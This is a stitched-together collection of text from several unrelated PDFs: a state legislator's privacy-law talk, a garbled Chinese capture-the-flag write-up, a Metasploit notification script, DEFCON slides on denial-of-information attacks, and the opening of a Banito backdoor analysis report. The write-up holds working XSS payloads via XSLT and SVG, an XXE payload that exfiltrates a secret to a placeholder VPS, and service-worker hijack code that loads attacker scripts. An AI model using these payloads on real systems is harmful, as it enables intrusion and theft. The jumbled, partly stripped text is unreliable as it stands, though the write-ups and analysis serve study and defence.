Montana State Representative Daniel Zolnikov Politics and The Surveillance State. The Story of a Young Politician’s Successful Efforts to Fight Surveillance and Pass the Nation’s Strongest Privacy Bills. About Daniel • From Roundup, Montana. • 31 Years Old. First Served at 25 Years Old. • Chair of House Energy and Technology Committee. • Republican 3rdTerm State Legislator. 2 Year Terms. • Swimmer. Current MBA Student. Previous Speaker at DefCon 21. • Half Russian, Half Italian. All Chaos. • Still Uses a Blackberry. Legislation Sponsored & Passed • Nation’s First Warrant Requirement for GPS Location. 2013 • Nation’s Strongest Freedom of the Press Law. 2015 • Medical Immunity for Minors. 2015 • Co-Sponsor Asset Forfeiture. 2015 • Warrant Requirement for Electronic Devices. 2017 • Warrant or 4th Amendment Subpoena Requirement for Electronic Communications. 2017 • Severe Limits on License Plate Readers. 2017 • Major Reforms and Restrictions for Vehicle Spot Checks. 2017 1st and 4th Amendment. • 1stAmendment • Protects the Freedom of Religion, Speech, Press, Assembly, and to Petition. • 4th Amendment • The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. • Why is this Important? Self Censorship! Why Isn’t Our Data Ours? • The Third Party Doctrine. • United States legal theory that holds that people who voluntarily give information to third parties—such as banks, phone companies, internet service providers (ISPs), and e-mail servers—have "no reasonable expectation of privacy.“ • Outdated laws from 1986 removes warrant protections to emails over 180 days old. • Patriot Act. • Expanded the Government’s ability to monitor, collect and retain the data of Americans and delay notification of these searches. NSA, Secret Courts and Vehicle Tracking • NSA - Mass Data Collection of your Digital communications. • Microsoft, Google, Yahoo, Facebook, YouTube, Skype, Apple all participated. • Secret Courts – Foreign Intelligence Surveillance Court “Oversight”. • From 1977 – 2013, the court rejected 11 out of 33,900 requests. • National DEA License Plate and Facial Recognition Tracking Program. • Collects Data Locally, Creates a Map of Vehicle Usage Nationally. But I Have Nothing to Hide! • Philosophy of Freedom of Speech and Expression. • Problems of Self Censorship. • Driving Example • Montana Sedition Acts • You May Have Nothing to Hide, but One Day You Might • Privacy Historical Examples • J. Edgar Hoover. • Congress • Martin Luther King Jr. • Watergate. • East Germany. How to Use These Tools to Take Over The World • J. Edgar Hoover Model. • Coercion. • Blackmail. • Expose. • Discredit. Limits & Standards Worth Imposing • Oversight. • Checks and Balances. • Require Records of Searches. Who and Why. • Burden of Proof. • Transparency. • Notification Standards. Story Time! • Running for Office. • Campaigning. • Every State is Different. • Anyone Can Run. • Have a Strategy, Not a Plan. Term 1 & 2 • Befriended Colleagues on Both Sides of the Aisle. • 2013 • Privacy Bill of Rights. (Failed) • GPS Warrant Requirement. (Succeeded) • 2015 • Freedom of the Press Privacy. (Succeeded) • Warrants for Devices, Digital Communications. (Failed) • Limits on License Plate Readers and Spot Check Legislation. (Failed) Term 1 & 2 • Spoke at DefCon 21. • Edward Snowden. • Forbes 30 Under 30. • Importance of Model State Legislation – Proof of Concept. • Other States Followed the Model. • Supreme Case Ruling. -2018 Term 3 • Election • Chair of Energy and Technology Committee • Term Limits • 2017 • Warrant Requirements for Digital Communications. (Passed) • Warrant Requirements for Devices. (Passed) • License Plate Readers. (Passed) • Vehicle Spot Checks. (Passed) • Also a lot of Energy Policy. Passing the Bills • What do Gun Groups, ACLU, Family Groups, Hackers and Citizens Have in Common? • Unique Coalitions are Key. • Understanding and Beating the Opposition. • Law Enforcement Groups. • Prosecutors. • Politics. • Arguments and Tactics Used. • Red Hearing. • Strawman. How • Efforts to Become a Privacy/Technology Expert. • Influence of Outside Groups and Concerned Individuals. • Who Showed Up And Who Didn’t. • Now Multiple Model Bills for Your States. • My Main Failure. • Privacy Goes Beyond Government. • Personal Browser Information. • Consent to Collect. Understanding Politicians • What Drives Politicians? • Influence, Power, Change, Anger, Political Involvement • Hundreds of Issues. • Political Issues vs Policy Issues. • Don’t Follow the Trends • Political Capital. Partisanship • Politicians Divide and Conquer the Electorate. • Polls and Data Influence Segmented Groups. • Example: Blue Lives Matter vs Black Lives Matter. • Partisan Politics Invokes Partisan Behavior. • Tribalism. • Keep the Issue Non-Partisan. Force Politicians to Listen • Differences Between State and Federal. • Constituents are only Represented when You Make Yourselves Heard. • Make a Politician in a Tight Election Earn your Vote. • They Represent You! Be Persistent, but not Offensive. • Get Involved or Challenge Them for Office and Make it the Main Issue. • CallThem Out Publicly. • Facebook is Limited, Opinion Editorials in Papers is Powerful. • Politicians Fear Controversy. • Expecting Them to Know Better is Not Reasonable. Have Your State Pass These Laws • Identify a Bill Sponsor. • Organize. • Create a Supportive Group to Contact Committee Members Prior to the Election. • Create Expectations. • Disrupt the Status Quo. • Work withTech Policy/Civil Liberty Organizations like the Center for Democracy and Technology and the ACLU. • Testify. Why You Matter “When law and morality contradict each other, the citizen has the cruel alternative of either losing his moral sense or losing his respect for the law.” ― Frédéric Bastiat Questions?
pdf
2021-Web-HarderXSS banfrom hint:"cookiedomain" set-cookiedomaincookie def md5(s): return hashlib.md5(s).hexdigest() def verify(s): for i in range(1, 9999999): if md5(str(i).encode("utf8")).startswith(s): return(i) break print(verify("6febd")) bot adminadmin admindisplay:none ssrf 1.(admin) 2.bot 3.https://flaaaaaaaag.cubestone.com?secret=demo xmlxssxxexxe xssbot xslt+svghtmlscriptscriptonload onanimationendjs test.jpg /upload/021aff8ed0971cfd569e7e5ac414b169 test.svgtest.jpgtest.svgxlst <!-- test.jpg --> <?xml version="1.0" encoding="iso-8859-1"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <head><style>@keyframes x{}</style></head> <body> <svg style="animation-name:x" onanimationend="alert(1);"></svg> </body></html> </xsl:template> </xsl:stylesheet> <!-- test.svg --> <?xml version="1.0" standalone="no"?> <?xml-stylesheet type="text/xsl" href="/upload/021aff8ed0971cfd569e7e5ac414b169"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> </svg> xssbot xsshttpsbothttpsxss.pt jpg bot <!-- test.jpg --> <?xml version="1.0" encoding="iso-8859-1"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <head><style>@keyframes x{}</style></head> <body> <svg style="animation-name:x" onanimationend="s=createElement('scr'+'ipt');body.appendChild(s);s.src=' https://xss.pt/0mI0';"></svg> </body></html> </xsl:template> </xsl:stylesheet> #!/usr/bin/env python import hashlib,requests url = "http://eci-2ze2ci7vzdnfptgng1w2.cloudeci1.ichunqiu.com" cookie = "PHPSESSID=ajsshtnlk1lg06r3ie0tek0eus" header = { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/ webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "accept-encoding": "gzip, deflate, br", "accept-language": "zh,en;q=0.9,zh-CN;q=0.8", "cache-control": "max-age=0", "cookie": cookie, "sec-ch-ua-mobile": "?0", "sec-fetch-dest": "document", "sec-fetch-mode": "navigate", "sec-fetch-site": "none", "sec-fetch-user": "?1", "upgrade-insecure-requests": "1", "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36" } def md5(s): return hashlib.md5(s).hexdigest() def verify(s): for i in range(1, 9999999): if md5(str(i).encode("utf8")).startswith(s): return(i) break a = requests.get(url+"/submit/",headers=header) code = a.text.split("MD5")[1][0:5] a = requests.post(url+"/submit/submit.php",data={ "describe": 123, "link": "https://feedback.cubestone.com/user/", "vcode": verify(code), "submit": "%E6%8F%90%E4%BA%A4" },headers=header) print(a.text) cookiebotjs https://flaaaaaaaag.cubestone.com?secret=demojs xxe vpsdtd(banfile php://filterhttp(s)://base64 xml) svg <!ENTITY % data SYSTEM "php://filter/read=convert.base64- encode/resource=https://flaaaaaaaag.cubestone.com/?secret=cube"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://vps_domain:port/%data;'>"> <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://your_domain/xxe.xml"> scriptloader.php?callback=pageload&secret=cube %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg> <script > document.domain="cubestone.com"; function pageload(data){ document.body.innerText=data; } fetch(`loader.php?callback=pageload&secret=cube`).then((res)=>{return res.text();}).then((data)=>{e jsonp php://filterupload.php pageload('Control center access require a vaild secret key. You entered a invaild secret!') <?php session_start(); // ini_set("display_errors","off"); // error_reporting(0); if(!array_key_exists("login",$_SESSION)){ die("login first"); } else if($_SESSION["login"]===0){ die("login first"); } $encode=$_POST["data"]; if(substr($encode,0,5)!="data:"){ die("You!Hacker!"); } $decode=file_get_contents($encode); // var_dump($decode); if(!(substr($decode,0,2)==="\xFF\xD8" or substr($decode,0,2)==="BM" or substr($decode,0,2)=="\x89\x50" or substr($decode,0,2)==="GI")){ // libxml_disable_entity_loader(true); $dom = new DOMDocument(); $res=$dom->loadXML($decode,LIBXML_DTDLOAD); if(!$res) die("Not Image!"); $decode1=$dom->saveXML(); // highlight_string($deocde1); // if(preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/f d|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|b zip2:|zip:|ftps:/i",$decode1,$matches)) die("unsupport protocol: ".$matches[0]); if(preg_match("/\/var|\/etc|\.\.|\/proc/i",$decode1,$matches)){ die("Illegal URI: ".$matches[0]); } $res=$dom->loadXML($decode,LIBXML_NOENT); if(!$res) die("Not Image!"); $decode=$dom->saveXML(); // highlight_string($decode); //xss if(preg_match("/script|object|embed|onload\s*=/i",$decode)) die("no script!"); // $encode="data:image/svg+xml;base64,".base64_encode($decode); } $filename=md5(rand()); file_put_contents("../upload/".$filename,$decode); $filename='/upload/'.$filename; $con=new mysqli("localhost","ctf","123456","ctf"); $res=$con->query("select img from avatar where userid=$_SESSION[login]"); if($res){ if($res->fetch_row()){ // echo "update avatar set img='$filename' where userid=$_SESSION[login]"; $res=$con->query("update avatar set img='$filename' where userid=$_SESSION[login]"); if($res!==TRUE){ // echo $con->error; $con->close(); } die("update success"); banetc secret (T_T) serviceWorker } } $res=$con->query("insert into avatar values($_SESSION[login],'$filename')"); $con->commit(); die("upload success"); bot flaaaaaaaag.cubestone.comxssserviceWorker flaaaaaaaag payload xssiframeiframeflaaaaaaaagiframesw swloader.phpjsonpjs sw xssjs vpssw.jssw if(!window.__x){ document.domain = "cubestone.com"; var iframe = document.createElement('iframe'); iframe.src = 'https://flaaaaaaaag.cubestone.com'; iframe.addEventListener("load", function(){ iffLoadover(); }); document.body.appendChild(iframe); exp = ` var xhr = new XMLHttpRequest(); navigator.serviceWorker.register("/loader.php? secret=asdasd&callback=importScripts('//your_vps/sw.js');//")`; function iffLoadover(){ iframe.contentWindow.eval(exp); } window.__x=1; } secretsecretflag hint payload() CTFService Worker2020-hardxss | Math & Sec HACHp1 XMLxss_https://www.cnblogs.com/zpchcbd/-CSDN writen by lwflky this.addEventListener('fetch', function (event) { var body = "<script>location='http://your_vps:port/'+location.search; </script>"; var init = {headers: {"Content-Type": "text/html"}}; var res = new Response(body, init); event.respondWith(res.clone()); });
pdf
msfconsole | tee 1.txt ​ app 0x00 0x01 0x02 ​ while true do if [ ! -n "$1" ] ;then keyword="successful" else keyword=$1 fi result=$(tail -n 1 1.txt | grep $keyword) if test ! -z "$result"; then wget --output-document=/dev/null "https://api.day.app/api/find: $result" sleep 5s fi sleep 0.05 done sh test.sh successful //successful ​ 0x03 0x04
pdf
Countering Denial of Information Attacks Gregory Conti www.cc.gatech.edu/~conti conti@acm.org Original Photos: National Geographic, Photoshopper: Unknown Disclaimer The views expressed in this presentation are those of the author and do not reflect the official policy or position of the United States Military Academy, the Department of the Army, the Department of Defense or the U.S. Government. image: http://www.leavenworth.army.mil/usdb/standard%20products/vtdefault.htm Denial of Information Attacks: Intentional Attacks that overwhelm the human or otherwise alter their decision making http://circadianshift.net/images/Virginia_Tech_1920s_NS5423_Y_small.jpg http://blogs.msdn.com/michkap/archive/2005/05/07/415335.aspx from Slashdot… I have a little PHP script that I use whenever I get a phishing email. The script generates fake credit card numbers, expiration dates, etc. and repeatedly hits the phishing site's form dumping in random info. Any halfway intelligent phisher would record the IP address of each submission and just dump all of mine when he saw there were bogus, but it makes me feel good that I at least wasted some of his time ;) http://yro.slashdot.org/comments.pl?sid=150848&cid=12651434 The Problem of Information Growth • The surface WWW contains ~170TB (17xLOC) • IM generates five billion messages a day (750GB), or 274 terabytes a year. • Email generates about 400,000 TB/year. • P2P file exchange on the Internet is growing rapidly. The largest files exchanged are video files larger than 100 MB, but the most frequently exchanged files contain music (MP3 files). http://www.sims.berkeley.edu/research/projects/how-much-info-2003/ http://cagle.slate.msn.com/news/EvilEmailHackers/main.asp Source: http://www.advantage.msn.it/images/gallery/popup.gif Source: http://www.knockmail.com/Graphics/inbox.gif In the end, all the power of the IDS is ultimately controlled by a single judgment call on whether or not to take action. - from Hack Proofing Your Network DoI Attack Scenarios Scenario Signal (s) Noise (n) s/n Impact #1 Low Low Parity Marginal to good ability to find information #2 High Low Parity Good to excellent ability to find information #3 Low High Good DoI #4 Very High Very High Bad DoI, processing, I/O or storage capability exceeded (aka DoS) DoI Attack Scenarios Scenario Signal (s) Noise (n) s/n Impact #1 Low Low Parity Marginal to good ability to find information #2 High Low Parity Good to excellent ability to find information #3 Low High Good DoI #4 Very High Very High Bad DoI, processing, I/O or storage capability exceeded (aka DoS) DoI Attack Scenarios Scenario Signal (s) Noise (n) s/n Impact #1 Low Low Parity Marginal to good ability to find information #2 High Low Parity Good to excellent ability to find information #3 Low High Good DoI #4 Very High Very High Bad DoI, processing, I/O or storage capability exceeded (aka DoS) DoI Attack Scenarios Scenario Signal (s) Noise (n) s/n Impact #1 Low Low Parity Marginal to good ability to find information #2 High Low Parity Good to excellent ability to find information #3 Low High Good DoI #4 Very High Very High Bad DoI, processing, I/O or storage capability exceeded (aka DoS) Microsoft, AOL, Earthlink and Yahoo file 6 antispam lawsuits (Mar 04) Defense Taxonomy (Big Picture) Lawsuits Legal New Laws Regulatory Government Regulation PR Campaign Moral Code of Ethics Cultural Communities Organizational Topical counter-DoI groups Financial Increasing cost of DoI operations Violence Violence against DoI perpetrators Technology (see next slide) Federal Can Spam Legislation (Jan 04) California Business and Professions Code, prohibits the sending of unsolicited commercial email (September 98) http://www.metroactive.com/papers/metro/12.04.03/booher-0349.html First Spam Conference (Jan 03) Microsoft, AOL, Earthlink and Yahoo file 6 antispam lawsuits (Mar 04) Defense Taxonomy (Big Picture) Lawsuits Legal New Laws Regulatory Government Regulation PR Campaign Moral Code of Ethics Cultural Communities Organizational Topical counter-DoI groups Financial Increasing cost of DoI operations Violence Violence against DoI perpetrators Technology (see next slide) Federal Can Spam Legislation (Jan 04) California Business and Professions Code, prohibits the sending of unsolicited commercial email (September 98) http://www.metroactive.com/papers/metro/12.04.03/booher-0349.html First Spam Conference (Jan 03) Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor System Model Producer Human Consumer Human Producer Consumer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor very small text Producer exploit round off algorithm trigger many alerts misleading advertisements spoof browser Example DoI Attacks Consumer Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Producer TCP Damping Usable Security Example DoI Defenses Eliza Spam Responder Computational Puzzle Solving Decompression Bombs Orient Observe Act Decide Scan Subject Line Spam Delete Confirm Deletion Successful Not Spam No Observation No Action Overhead Number of Email x Time to Decide Overhead Number of Spam x Time to Delete Overhead Number of Spam x Time to Observe Total Overhead= (Number of Spam x (Time to Delete + Time to Observe))+(Number of Email X (Time to Decide + Time to Scan)) Overhead Number of Email x Time to Scan Pull Example: Web Search Formulate Query Scan 2 Pages of Results Search for “Grace” Goal: Find “Grace” Visualization Tool Reform Query Scan Top 2 Results Performs Database Search Return 13,100,000 Results Search for “Grace Visualization” Return 31,900 Results Return 404 File Not Found Get http://www.site.edu/grace.html Click 2nd Visualization Group Grace Support Page Link Return grace.html Get http://www.site.edu/grace/grace.html Click 1st Visualization Group Grace Support Page Link Scan page for Grace Download (not found) Click Grace Home Page Link Bookmark Page Return index.html Get http://www.homepage.org Performs Database Search Returns 404 Error Page Returns grace.html Returns index.html Pull Example: Latency & Processing Human Processing Query Result Channel Latency Human Idle Nodal Processing Channel Latency Human Processing Pull Example: Human Processing Result GET index.html Human Processing 1. Observe 2. Orient 3. Decide 4. Act Pull Example: Nodal Processing Query Result Nodal Processing 1. Receive Query 2. Parse 3. Process 4. Access Database 5 C t HTML R lt Human Idle For more information… G. Conti and M. Ahamad; "A Taxonomy and Framework for Countering Denial of Information Attacks;" IEEE Security and Privacy. (to be published) email me… Information Firewall parser data sources information firewall analyst views filter all but headlines filtering fusion rules engine transform database filter all but today’s weather transform processing engine For more information… G. Conti, M. Ahamad and R. Norback; "Filtering, Fusion and Dynamic Information Presentation: Towards a General Information Firewall;" IEEE International Conference on Intelligence and Security Informatics (IEEE-ISI); May 2005. see www.cc.gatech.edu/~conti DoI Countermeasures in the Network Security Domain information visualization is the use of interactive, sensory representations, typically visual, of abstract data to reinforce cognition. http://en.wikipedia.org/wiki/Information_visualization rumint security PVR Network packets over time Bit 0, Bit 1, Bit 2 Length of packet - 1 rumint 1.15 tool overview network monitoring mode (left), clicking the small pane brings up the detailed analysis view for that visualization. For more information… G. Conti; "Network Attack Visualization;" DEFCON 12; August 2004. --Talk PPT Slides --Classical InfoVis Survey PPT Slides --Security InfoVis Survey PPT Slides G. Conti and K. Abdullah; " Passive Visual Fingerprinting of Network Attack Tools;" ACM Conference on Computer and Communications Security's Workshop on Visualization and Data Mining for Computer Security (VizSEC); October 2004. --Talk PPT Slides see www.cc.gatech.edu/~conti and www.rumint.org for the tool Last year at DEFCON First question… How do we attack it? Malicious Visualizations… Pokemon http://www.miowebitalia.com/desktop/cartoni/pokemon.jpg Basic Notion Denial of Information vs. InfoVis A malicious entity can attack humans through information visualization systems by: – Inserting malicious data into data stream – Altering timing of data Note that we do not assume any alteration or modification of data, such as that provided from legitimate sources or stored in databases. Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor System Model Producer Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Timing Vector Timing Attack Producer Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer Producer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Data Generation Vector Data Insertion Attack Attack Manifestations Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Target (Human User) Producer Displacement Attack (memory) Attack Fading (memory) http://etherape.sourceforge.net/ Image: http://www.inf.uct.cl/~amellado/gestion_en_linux/etherape.jpg Comparing Hidden Information (Memory) Comparing Side-by-Side Information (Memory) Color Mapping Attack (perception) Motion Induced Blindness (perception) http://www.keck.ucsf.edu/~yoram/mib-basic.html Optical Illusions (perception) http://www.ritsumei.ac.jp.nyud.net:8090/~akitaoka/index-e.html Optical Illusions (2) http://www.ritsumei.ac.jp.nyud.net:8090/~akitaoka/index-e.html Optical Illusions (1) http://www.ritsumei.ac.jp.nyud.net:8090/~akitaoka/index-e.html Spatial Orientation Attack (Descent 3) http://www.3dgw.com/game/preview/descent3/d307.jpg Trust Attack (defacement) http://www.attrition.org/ Visual Information Overload (perception) p ( ) Crying Wolf… (cognitive/motor) • Snot vs. Snort Force User to Rotate (motor) http://www.cc.gatech.edu/classes/AY2003/cs7450_spring/Students/a1/sumier.phalake/ Human Attention Attack • how long (and how well) can a human sustain attention • how easily can the human be distracted http://www.bobandtom.com/gen3/index.htm Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Targets (User’s Computer) Producer Labeling Attack (algorithm) • 100 elements • X = 1..100 • Y = rand() x 10 CDX 2003 Dataset X = Time Y = Destination IP Z = Destination Port Labeling Attack (algorithm) SANS Internet Storm Center: World Map http://isc.sans.org/large_map.php GUI Widget Attack (interface) Any attempt to further zoom forces scroll off screen AutoScale Attack/Force User to Zoom (algorithm) Precision Attack (algorithm) http://developers.slashdot.org/article.pl?sid=04/06/01/1747223&mode=thread&tid=126&tid=172 http://www.nersc.gov/nusers/security/Cube.jpg Data Threshold Attack Michael Gastner, Cosma Shalizi, and Mark Newman University of Michigan http://www-personal.umich.edu/~mejn/election/ Occlusion (visualization design) Occlusion Attack (visualization design) Detail using jitter 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP 30 77.31 ICMP 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP 30 77.31 TCP Detail data table Jitter Attack • Same Data Jitter Attack • Same Data Jamming (visualization design) Trust Attack (phishing) http://www.antiphishing.org/phishing_archive/ebay_phishing.jpg Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer Producer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Target (Data Generation & Communication) Data Insertion Attack Data Generation and Communication • sensor blindness • selective blindness • spoof source identity • sampling rate • poisoned data • channel timing Human Consumer Human Producer Communication Channel Consumer Node RAM Hard Drive CPU Producer Node STM LTM Cognition Consumer RAM Hard Drive CPU STM LTM Cognition Vision Hearing Speech Motor Vision Hearing Speech Motor Targets (User’s Environment) Targets (User’s Environment) Producer Get you fired Attack Got some slick, nobody's fool sysadmin you need to get past? Well, cook up a portscan that will look like a giant <snip> Boss walks past, geek gets fired, replaced by bosses moron nephew who is more than happy to give you the keys to the server when you call and identify yourself as the Hamburglar. http://www.toonopedia.com/dilbert.htm http://developers.slashdot.org/developers/04/06/01/1747223.shtml Countermeasures • Assume an intelligent and well informed adversary • Design system with malicious data in mind • Assume your tool (and source) are in the hands of an attacker • Train users to be alert for manipulation • Validate data • Assume your infrastructure will be attacked • In worst case, assume your attacker has knowledge about specific users • Design visualizations/vis systems that are resistant to attack • If you can’t defeat attack, at least facilitate detection • Use intelligent defaults • Provide adequate customization For more information… G. Conti, M. Ahamad and J. Stasko; "Attacking Information Visualization System Usability: Overloading and Deceiving the Human;" Symposium on Usable Privacy and Security (SOUPS); July 2005. See also www.rumint.org for the tool. on the con CD… Other Attack Vectors… • Usenet • Blogs • Web Forms • Websites • What else? • Imagine a large blinking red gif Other Sources of Information… • Guarding the Next Internet Frontier: Countering Denial of Information Attacks by Ahamad, et al – http://portal.acm.org/citation.cfm?id=844126 • Denial of Service via Algorithmic Complexity Attacks by Crosby – http://www.cs.rice.edu/~scrosby/hash/ • A Killer Adversary for Quicksort by McIlroy – http://www.cs.dartmouth.edu/~doug/mdmspe.pdf • Semantic Hacking – http://www.ists.dartmouth.edu/cstrc/projects/semantic- hacking.php Demo On the CD… • Code – rumint – secvis – rumint file conversion tool (pcap to rumint) • Papers – SOUPS Malicious Visualization paper – Hacker conventions article • Data – SOTM 21 .rum See also: www.cc.gatech.edu/~conti and www.rumint.org http://www.silverballard.co.nz/content/images/shop/accessories/cd/blank%20stock/41827.jpg rumint feedback requested… • Tasks • Usage – provide feedback on GUI – needed improvements – multiple monitor machines – bug reports • Data – interesting packet traces – screenshots • with supporting capture file, if possible • Pointers to interesting related tools (viz or not) • New viz and other analysis ideas Volunteers to participate in user study Acknowledgements 404.se2600, Kulsoom Abdullah, Sandip Agarwala, Mustaque Ahamad, Bill Cheswick, Chad, Clint, Tom Cross, David Dagon, DEFCON, Ron Dodge, EliO, Emma, Mr. Fuzzy, Jeff Gribschaw, Julian Grizzard, GTISC, Hacker Japan, Mike Hamelin, Hendrick, Honeynet Project, Interz0ne, Jinsuk Jun, Kenshoto, Oleg Kolesnikov, Sven Krasser, Chris Lee, Wenke Lee, John Levine, David Maynor, Jeff Moss, NETI@home, Henry Owen, Dan Ragsdale, Rockit, Byung-Uk Roho, Charles Robert Simpson, Ashish Soni, SOUPS, Jason Spence, John Stasko, StricK, Susan, USMA ITOC, IEEE IAW, VizSEC 2004, Grant Wagner and the Yak. GTISC • 100+ Graduate Level InfoSec Researchers • Multiple InfoSec degree and certificate programs • Representative Research – User-centric Security – Adaptive Intrusion Detection Models – Defensive Measures Against Network Denial of Service Attacks – Exploring the Power of Safe Areas of Computation – Denial of Information Attacks (Semantic Hacking) – Enterprise Information Security • Looking for new strategic partners, particularly in industry and government www.gtisc.gatech.edu http://www.museumofhoaxes.com/tests/hoaxphototest.html Greg Conti conti@cc.gatech.edu www.cc.gatech.edu/~conti www.rumint.org Questions?
pdf
Analysis Report Sample 172AED81C4FDE1CF23F1615ACEDFAD65 Author Marion Marschalek [marion-m@live.at] Date 24/03/2013 Abstract The analyzed sample, detected as Backdoor.Win32.Banito, is multi-threaded malware that infects files on the disk, communicates to a remote server under the domain ns.dns3-domain.com and provides extended spying and system control functionalities. Its code is obfuscated and it implements a row of anti- analysis measures. It was in-the-wild around late 2010 / early 2011 and its origins are believed to be Chinese. 1 | P a g e Summary The analyzed sample is a tricky piece of malware that replicates itself and communicates to a remote Command & Control server (C&C). It is a non-polymorphic file infector, replacing executable images in the file system with a copy of itself, but still hiding and starting the original applications when needed. It implements various anti-analysis measures, as for example invoking intentional exceptions or checking for the dwFlags value of the GetStartupInfo() API call. It implements a huge amount of junk code and is highly obfuscated. It is implemented in object oriented C++ and makes heavy usage of virtual function calls that make analysis significantly harder than usual. Besides the sample constructs an API offset jump table on startup, which is used throughout execution for resolution of system calls. The malware is designed as multi-threaded application that divides process control, file infection and sending and receiving messages to and from the C&C server in different threads to share execution load. The communication to the remote server is handled via one single domain which is hard coded in the sample. The domain is ns.dns3-domain.com, the according network address is 125.34.39.47. The server is believed to be out of operation, as it does not answer to any message of the analyzed sample. The malwares capabilities are extensive, it is able to spy on the system as well as control system operation. It can produce screenshots and screen captures, report file listings, rename, copy or delete files, command a system shutdown, execute files and numerous other operations. Besides, functionality can be found to perform a self-update, most likely to a new version of the same malware. It can disinfect the system of its copies. 2 | P a g e Contents Summary ................................................................................................................................................. 1 1. Overview .......................................................................................................................................... 5 1.1 File Details ............................................................................................................................... 5 2. Anti-Analysis Measures ................................................................................................................... 6 2.1 dwFlags in _STARTUPINFO Structure ...................................................................................... 6 2.2 SEH for Obfuscation of the Execution Path ............................................................................. 6 2.2.1 Exception in WinMain ..................................................................................................... 7 2.2.2 Exception in IMPLICIT_MAIN ........................................................................................... 8 2.3 Simulation Check with GetHostByName ................................................................................. 9 2.4 Obfuscation and Confusion Tricks ........................................................................................... 9 2.4.1 Junk Code ........................................................................................................................ 9 2.4.2 String Construction at Runtime ..................................................................................... 10 2.4.3 API Address Resolution at Runtime ............................................................................... 11 2.5 Indirect Function Calls ........................................................................................................... 12 2.6 Timing Attacks using GetTickCount ....................................................................................... 13 3. Malware Startup ............................................................................................................................ 14 3.1 Synchronization Methods for Multiple Instances ................................................................. 14 4. Multi-Threading Model ................................................................................................................. 17 4.1Inter-Thread Communication ....................................................................................................... 17 4.2 Details about Started Threads ............................................................................................... 18 0 – thread0 .................................................................................................................................... 18 1 – timecallback_ptmessage ......................................................................................................... 18 2 – fileinfector ............................................................................................................................... 19 3 – get_queued_compstatus ......................................................................................................... 19 4, 5 & 8 – getmessage_loop .......................................................................................................... 19 6 - recv_post_queued_compstatus ............................................................................................... 20 7 – cnc_cmd_switching ................................................................................................................. 20 4.3 Thread Workflow Diagram .................................................................................................... 20 5. File Infection .................................................................................................................................. 21 5.1 Initial Infection ...................................................................................................................... 21 5.1.1 Check for Chinese AV-Products ..................................................................................... 21 5.1.2 Module Name Filtering .................................................................................................. 21 3 | P a g e 5.1.3 The Infection Routine .................................................................................................... 22 5.2 The Re-Infection Loop ........................................................................................................... 23 6. Network Communication .............................................................................................................. 24 6.1 Sending Messages to the C&C ............................................................................................... 24 6.1.1 Initial “HELLO”-Messages .............................................................................................. 25 7. C&C-Command Processing ............................................................................................................ 26 7.1 Control Operations ................................................................................................................ 26 7.1.1 terminate ....................................................................................................................... 26 7.1.2 system_shutdown ......................................................................................................... 26 7.1.3 spawn_console_process ................................................................................................ 27 7.1.4 